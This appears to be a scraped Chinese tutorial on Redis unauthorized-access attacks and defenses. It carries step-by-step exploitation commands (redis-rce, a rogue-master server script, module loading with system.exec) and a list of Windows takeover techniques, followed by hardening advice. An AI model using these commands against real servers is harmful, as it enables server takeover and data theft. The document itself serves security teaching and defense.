FOFA攻防挑战及漏洞分析
字数 1025 2025-08-12 11:33:54

Redis未授权访问漏洞利用与防御指南

1. Redis未授权访问漏洞概述

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。当Redis服务配置不当,允许未经授权的访问时,攻击者可以利用此漏洞获取服务器权限。

1.1 漏洞危害

  • 写入webshell
  • 通过SSH公钥登录服务器
  • 利用计划任务反弹shell
  • 利用主从复制获取shell
  • 数据泄露或篡改

1.2 受影响版本

  • 4.x-5.x版本存在主从复制漏洞
  • 6.0及以上版本部分利用方式受限

2. 漏洞检测方法

2.1 端口扫描

Redis默认使用6379端口,可通过扫描该端口判断Redis服务是否存在。

2.2 连接测试

使用redis-cli工具尝试连接:

redis-cli -h <target_ip> -p 6379

3. 漏洞利用方法

3.1 主从复制漏洞利用(4.x-5.x版本)

3.1.1 准备工作

  1. 克隆必要的工具库:
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
git clone https://github.com/Ridter/redis-rce.git
  1. 编译恶意模块:
cd RedisModules-ExecuteCommand/
make
  1. 准备redis-rce工具:
cd ../redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt

3.1.2 执行攻击

python redis-rce.py -r <target_ip> -p <target_port> -L <your_ip> -f module.so

3.2 手动主从复制攻击

3.2.1 设置恶意主服务器

import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
    resp = ""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    conn,address = sock.accept()
    sleep(5)
    while True:
        data = conn.recv(1024)
        if "PING" in data:
            resp="+PONG"+CLRF
            conn.send(resp)
        elif "REPLCONF" in data:
            resp="+OK"+CLRF
            conn.send(resp)
        elif "PSYNC" in data or "SYNC" in data:
            resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            if type(resp) != bytes:
                resp =resp.encode()
            conn.send(resp)

3.2.2 目标Redis执行命令

redis-cli -h <target_ip>
> config set dir /tmp
> config set dbfilename exp.so
> slaveof <your_ip> <your_port>
> module load ./exp.so
> slaveof no one
> system.exec 'whoami'

3.3 Windows环境下利用

3.3.1 无损文件写入

python RedisWriteFile.py --rhost=<target_ip> --rport=6379 --lhost=<your_ip> --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt" --lfile="test.txt"

3.3.2 Windows下其他利用方式

  • 系统DLL劫持
  • 特定软件DLL劫持
  • 覆写快捷方式
  • 覆写配置文件
  • 覆写sethc.exe等系统文件
  • mof利用

4. 防御措施

4.1 基本防护

  1. 设置强密码认证
  2. 修改默认端口
  3. 限制访问IP(bind配置)
  4. 禁用危险命令:
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

4.2 网络层防护

  1. 配置防火墙规则
  2. 使用VPN或专有网络
  3. 启用TLS加密

4.3 系统层防护

  1. 以非root用户运行Redis
  2. 限制Redis目录权限
  3. 启用保护模式

4.4 监控与审计

  1. 监控异常连接
  2. 定期检查Redis配置
  3. 审计日志文件

5. 漏洞修复建议

  1. 升级到最新稳定版本
  2. 禁用非必要网络接口
  3. 启用AOF持久化而非RDB
  4. 使用Redis 6.0+的ACL功能

6. 工具与资源

  1. 漏洞检测工具:

    • redis-cli
    • nmap
  2. 利用工具:

    • RedisModules-ExecuteCommand
    • redis-rce
    • redis-rogue-server
    • RedisWriteFile
  3. 参考文章:

    • 对Redis在Windows下的利用方式思考
    • Redis(Windows)的getshell踩坑记录

通过以上详细指南,安全人员可以全面了解Redis未授权访问漏洞的利用方式和防御措施,有效提升系统安全性。

Redis未授权访问漏洞利用与防御指南 1. Redis未授权访问漏洞概述 Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。当Redis服务配置不当,允许未经授权的访问时,攻击者可以利用此漏洞获取服务器权限。 1.1 漏洞危害 写入webshell 通过SSH公钥登录服务器 利用计划任务反弹shell 利用主从复制获取shell 数据泄露或篡改 1.2 受影响版本 4.x-5.x版本存在主从复制漏洞 6.0及以上版本部分利用方式受限 2. 漏洞检测方法 2.1 端口扫描 Redis默认使用6379端口,可通过扫描该端口判断Redis服务是否存在。 2.2 连接测试 使用redis-cli工具尝试连接: 3. 漏洞利用方法 3.1 主从复制漏洞利用(4.x-5.x版本) 3.1.1 准备工作 克隆必要的工具库: 编译恶意模块: 准备redis-rce工具: 3.1.2 执行攻击 3.2 手动主从复制攻击 3.2.1 设置恶意主服务器 3.2.2 目标Redis执行命令 3.3 Windows环境下利用 3.3.1 无损文件写入 3.3.2 Windows下其他利用方式 系统DLL劫持 特定软件DLL劫持 覆写快捷方式 覆写配置文件 覆写sethc.exe等系统文件 mof利用 4. 防御措施 4.1 基本防护 设置强密码认证 修改默认端口 限制访问IP(bind配置) 禁用危险命令: 4.2 网络层防护 配置防火墙规则 使用VPN或专有网络 启用TLS加密 4.3 系统层防护 以非root用户运行Redis 限制Redis目录权限 启用保护模式 4.4 监控与审计 监控异常连接 定期检查Redis配置 审计日志文件 5. 漏洞修复建议 升级到最新稳定版本 禁用非必要网络接口 启用AOF持久化而非RDB 使用Redis 6.0+的ACL功能 6. 工具与资源 漏洞检测工具: redis-cli nmap 利用工具: RedisModules-ExecuteCommand redis-rce redis-rogue-server RedisWriteFile 参考文章: 对Redis在Windows下的利用方式思考 Redis(Windows)的getshell踩坑记录 通过以上详细指南,安全人员可以全面了解Redis未授权访问漏洞的利用方式和防御措施,有效提升系统安全性。